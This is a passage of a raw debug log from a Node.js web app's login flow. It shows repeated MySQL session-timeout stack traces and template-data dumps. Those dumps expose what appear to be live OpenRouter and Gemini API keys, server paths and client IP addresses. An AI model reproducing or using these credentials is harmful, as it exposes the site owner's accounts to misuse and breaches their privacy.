    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.188',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 18:56:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 18:56:04' as DATETIME)"
}
2025-12-19T18:59:24.295Z server-connect:router Serving templateView /
2025-12-19T18:59:24.296Z server-connect:app Executing action step identify
2025-12-19T18:59:24.296Z server-connect:app options: { provider: 'security' }
2025-12-19T18:59:24.296Z server-connect:auth No login cookie found
2025-12-19T18:59:24.296Z server-connect:output identity: false
2025-12-19T18:59:24.296Z server-connect:app Executing action step restrict
2025-12-19T18:59:24.296Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T18:59:24.296Z server-connect:output restrict: undefined
2025-12-19T18:59:24.410Z server-connect:router Serving templateView /login
2025-12-19T18:59:24.410Z server-connect:app Executing action step identify
2025-12-19T18:59:24.410Z server-connect:app options: { provider: 'security' }
2025-12-19T18:59:24.410Z server-connect:auth No login cookie found
2025-12-19T18:59:24.410Z server-connect:output identity: false
2025-12-19T18:59:24.410Z server-connect:router Render template layouts/authentication
2025-12-19T18:59:24.411Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.116',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T18:59:24.410Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.116',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.116',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 19:42:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 19:42:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 20:52:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 20:52:14' as DATETIME)"
}
2025-12-19T20:59:57.920Z server-connect:router Serving templateView /
2025-12-19T20:59:57.922Z server-connect:app Executing action step identify
2025-12-19T20:59:57.922Z server-connect:app options: { provider: 'security' }
2025-12-19T20:59:57.922Z server-connect:auth No login cookie found
2025-12-19T20:59:57.922Z server-connect:output identity: false
2025-12-19T20:59:57.922Z server-connect:app Executing action step restrict
2025-12-19T20:59:57.922Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T20:59:57.923Z server-connect:output restrict: undefined
2025-12-19T20:59:58.168Z server-connect:router Serving templateView /login
2025-12-19T20:59:58.168Z server-connect:app Executing action step identify
2025-12-19T20:59:58.168Z server-connect:app options: { provider: 'security' }
2025-12-19T20:59:58.168Z server-connect:auth No login cookie found
2025-12-19T20:59:58.168Z server-connect:output identity: false
2025-12-19T20:59:58.168Z server-connect:router Render template layouts/authentication
2025-12-19T20:59:58.168Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.95',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T20:59:58.168Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.95',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.95',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 21:00:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 21:00:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 21:01:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 21:01:03' as DATETIME)"
}
2025-12-19T21:01:43.163Z server-connect:router Serving templateView /
2025-12-19T21:01:43.163Z server-connect:app Executing action step identify
2025-12-19T21:01:43.164Z server-connect:app options: { provider: 'security' }
2025-12-19T21:01:43.164Z server-connect:auth No login cookie found
2025-12-19T21:01:43.164Z server-connect:output identity: false
2025-12-19T21:01:43.164Z server-connect:app Executing action step restrict
2025-12-19T21:01:43.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T21:01:43.164Z server-connect:output restrict: undefined
2025-12-19T21:01:43.276Z server-connect:router Serving templateView /login
2025-12-19T21:01:43.276Z server-connect:app Executing action step identify
2025-12-19T21:01:43.276Z server-connect:app options: { provider: 'security' }
2025-12-19T21:01:43.277Z server-connect:auth No login cookie found
2025-12-19T21:01:43.277Z server-connect:output identity: false
2025-12-19T21:01:43.277Z server-connect:router Render template layouts/authentication
2025-12-19T21:01:43.277Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.123',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T21:01:43.276Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.123',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.123',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 21:20:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 21:20:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 21:56:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 21:56:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 22:08:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 22:08:03' as DATETIME)"
}
2025-12-19T22:09:10.057Z server-connect:router Serving templateView /
2025-12-19T22:09:10.058Z server-connect:app Executing action step identify
2025-12-19T22:09:10.058Z server-connect:app options: { provider: 'security' }
2025-12-19T22:09:10.058Z server-connect:auth No login cookie found
2025-12-19T22:09:10.058Z server-connect:output identity: false
2025-12-19T22:09:10.058Z server-connect:app Executing action step restrict
2025-12-19T22:09:10.059Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T22:09:10.059Z server-connect:output restrict: undefined
2025-12-19T22:09:10.161Z server-connect:router Serving templateView /login
2025-12-19T22:09:10.161Z server-connect:app Executing action step identify
2025-12-19T22:09:10.161Z server-connect:app options: { provider: 'security' }
2025-12-19T22:09:10.161Z server-connect:auth No login cookie found
2025-12-19T22:09:10.161Z server-connect:output identity: false
2025-12-19T22:09:10.161Z server-connect:router Render template layouts/authentication
2025-12-19T22:09:10.162Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '44.218.6.122',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T22:09:10.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.218.6.122',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
